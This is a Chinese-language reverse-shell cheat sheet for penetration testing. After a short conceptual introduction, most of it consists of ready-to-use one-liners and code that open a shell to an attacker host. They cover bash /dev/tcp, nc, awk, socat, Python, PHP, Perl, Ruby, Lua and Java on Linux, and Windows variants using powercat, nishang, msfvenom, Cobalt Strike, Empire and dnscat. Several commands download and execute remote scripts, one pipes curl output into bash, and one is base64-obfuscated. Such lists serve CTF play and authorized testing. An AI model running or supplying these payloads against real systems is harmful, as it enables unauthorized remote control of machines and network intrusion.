在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。
概念:
反弹shell(reverse shell),就是控制端(攻击者所有)监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转发到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念上的客户端与服务端的角色反转。
原因:
•目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
•目标机端口被占用。•目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
•对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。
作用:
反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。
反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步。所有姿势整理自网络。假设攻击者主机为:192.168.99.242,监听1234端口。
Linux 反弹shell(十一种)
姿势一:bash反弹
这个方法不管是打CTF或者是挖洞的时候用的比较多,个人感觉反弹shell最好用的方法就是使用bash结合重定向方法的一句话。
bash -i >& /dev/tcp/47.168.99.72/2333 0>&1
#base64版:
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
#在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html
下是针对Bash反弹一句话进行了拆分说明:
Bash反弹一句完整的解读过程就是:
Bash产生了一个交互环境和本地主机主动发起与攻击机2333端口建立的连接(即TCP 2333会话连接)相结合,然后在重定向个TCP 2333会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境。
但是这里会提示没有/dev/tcp 这是怎么回事 ,解释和解决方法如下
https://evilpan.com/2021/04/25/reverse-shell/
一般情况是直接可以进行反弹的
其他版本:
exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5;done
exec /bin/sh 0</dev/tcp/192.168.99.242/1234 1>&0 2>&0
Curl配合Bash反弹shell
在目标机上执行 curl 攻击者web服务ip|bash,该 ip 的web服务目录里的 index 文件上含有 bash 一句话,就可以反弹shell。
首先,在攻击者自己的服务器 web 目录里面创建一个index文件(index.php或index.html),内容如下:
bash -i >& /dev/tcp/攻击者主机ip/port 0>&1
开启2333端口的监听。
然后再目标机上执行如下,即可反弹shell:
curl 120.xxx.xxx.72|bash
姿势二:nc反弹
Netcat 是一款简单的Unix工具,使用UDP和TCP协议。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。使用它你可以轻易的建立任何连接。
nc -e /bin/bash 192.168.99.242 1234
姿势三:awk反弹
awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
awk 'BEGIN {s = "/inet/tcp/0/120.xx.xx.141/2333"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
awk是一种处理文本文件的语言,是一种解释型的编程语言,可以使用awk来处理反弹的命令。
攻击机还是一样开启监听:
nc -lvvp 1234
与 bash 的连接相比,awk 的实现增加了更多功能,可以指定 IPv4/IPv6,以及指定绑定的本地端口。
姿势四:telnet反弹
备注:需要在攻击主机上分别监听1234和4321端口,执行反弹shell命令后,在1234终端输入命令,4321查看命令执行后的结果。
telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321
姿势五:socat反弹
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234
姿势六:Python反弹
python -c
"
import os,socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('192.168.99.242',1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i']);
"
姿势七:PHP反弹
php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
姿势八:Perl反弹
perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
姿势九:Ruby反弹
ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
姿势十:Lua反弹
lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.99.242','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
姿势十一:JAVA反弹
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
保存为Revs.java文件,编译执行,成功反弹shell。
javac Revs.java
java Revs
Windows反弹shell(七种)
姿势一:nc反弹
netcat 下载:https://eternallybored.org/misc/netcat/
服务端反弹:nc 192.168.99.242 1234 -e c:\windows\system32\cmd.exe
姿势二:powershell反弹
powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。
PS C:\WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd
下载到目标机器本地执行:
PS C:\WWW> Import-Module ./powercat.ps1PS C:\WWW> powercat -c 192.168.99.242 -p 1234 -e cmd
姿势三:MSF反弹shell
使用msfvenom生成相关Payload
msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234
姿势四:Cobalt strike反弹shell
1、配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add。
2、生成payload:点击Attacks——>Packages——>Windows Executable,保存文件位置。
3、目标机执行powershell payload
姿势五:Empire反弹shell
usestager windows/launcher_vbs
info
set Listener test
execute
姿势六:nishang反弹shell
#Reverse TCP shell:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.1.1.210 -port 1234
#Reverse UDP shell:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 10.1.1.210 -port 1234
姿势七:Dnscat反弹shell
github项目地址:
https://github.com/iagox86/dnscat2
server侧:
ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open
目标主机
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx
参考:
https://blog.csdn.net/m0_63138919/article/details/134388421